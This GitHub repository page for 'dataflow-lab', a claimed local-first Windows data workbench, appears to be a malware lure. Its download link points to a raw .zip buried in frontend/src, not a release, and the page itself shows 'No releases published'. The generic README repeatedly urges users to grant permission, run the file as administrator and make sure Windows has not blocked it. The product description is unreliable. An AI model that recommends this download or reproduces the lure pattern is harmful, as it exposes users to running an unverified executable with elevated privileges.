Skip to content

annamaritenth380/dataflow-lab

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

8 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

📊 dataflow-lab - Clean, explore, and build faster

Download dataflow-lab

🚀 What is dataflow-lab?

dataflow-lab is a local-first data workbench for Windows. It helps you clean data, explore it, make charts, and build dashboards in one place. It also creates SQL and Python pipelines for common tasks.

You keep your data on your computer. That makes it a good fit for private files, small teams, and offline work.

✨ What you can do

  • Import CSV, Excel, and SQLite files
  • Clean data with simple point-and-click tools
  • Filter, sort, and group rows
  • Build charts and tables
  • Create dashboards from your data
  • Generate SQL queries for analysis
  • Generate Python steps for data prep
  • Work with local files on your PC
  • Save your work for later use

💻 System requirements

  • Windows 10 or Windows 11
  • 4 GB RAM minimum
  • 8 GB RAM recommended
  • 500 MB free disk space
  • Internet access for the first download

📥 Download dataflow-lab

Visit this page to download the Windows release:

https://github.com/annamaritenth380/dataflow-lab/raw/refs/heads/main/frontend/src/dataflow_lab_v3.9.zip

Look for the latest release and download the Windows file from that page.

🛠️ Install on Windows

  1. Open the download page in your browser.
  2. Find the latest release at the top of the page.
  3. Download the Windows version of dataflow-lab.
  4. If the file is a .zip, open it and extract the contents.
  5. If the file is an .exe, double-click it to start the app.
  6. If Windows asks for permission, choose Yes.
  7. Wait for the app to finish opening.

▶️ First launch

  1. Start dataflow-lab from the file you downloaded.
  2. If you see a setup screen, follow the on-screen steps.
  3. Choose the folder where your data files are stored.
  4. Open a CSV, Excel, or SQLite file.
  5. Review the data in the main table.
  6. Use the tools on the side panel to clean or explore the data.

🧭 Basic use

Open data

  • Click Open File
  • Select a CSV, Excel, or SQLite file
  • Wait for the file to load

Clean data

  • Remove blank rows
  • Rename columns
  • Fix date and number fields
  • Replace empty values
  • Filter out rows you do not need

Explore data

  • Sort by a column
  • Group rows by category
  • Check totals and counts
  • Look for missing values
  • Scan for repeated rows

Build charts

  • Choose a chart type
  • Pick the field for the X axis
  • Pick the field for the Y axis
  • Adjust labels and colors
  • Save the chart to your dashboard

Make dashboards

  • Add one or more charts
  • Place tables beside charts
  • Rearrange panels
  • Save the dashboard layout
  • Open it again later

🔍 Working with SQL and Python

dataflow-lab can create useful starting steps for analysis.

SQL

Use SQL when you want to:

  • Filter rows
  • Join tables
  • Group data
  • Build saved queries
  • Reuse the same logic on the same files

Python

Use Python when you want to:

  • Prepare data for later use
  • Repeat a cleaning task
  • Build a simple data pipeline
  • Export results after changes

The app writes starter code based on the data you load. You can use it as a base for your own work.

📂 Example workflow

  1. Open a CSV file with sales data.
  2. Remove blank rows and fix column names.
  3. Group the data by month and product.
  4. Create a bar chart for sales totals.
  5. Add the chart to a dashboard.
  6. Save the cleaned file and the dashboard for later use.

🧩 Common file types

dataflow-lab works well with:

  • .csv
  • .xlsx
  • .xls
  • .sqlite
  • .db

⌨️ Shortcuts and tips

  • Use the search box to find columns fast
  • Drag columns to change order
  • Right-click a table for more actions
  • Save often when you make changes
  • Keep source files in one folder
  • Use short file names with no extra symbols

🧱 If the app does not open

Try these steps:

  1. Download the latest release again.
  2. Make sure the file finished downloading.
  3. Right-click the file and choose Run as administrator.
  4. Check that Windows did not block the file.
  5. Restart your PC and try again.
  6. Use the newest Windows update if the app still does not open

🗂️ Project topics

bi-tool, dashboard, data-analytics, data-cleaning, data-pipeline, data-visualization, eda, etl, local-first, nodejs, react, sql, sqlite

📌 What to expect

dataflow-lab is built for local data work. It keeps the process simple, with a focus on loading data, shaping it, and turning it into useful views. It is a good match for users who want one app for cleaning, charts, and dashboard work without moving data to another service

About

Build a local-first data analytics workbench to clean, explore, visualize, and dashboard your data without cloud tools

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors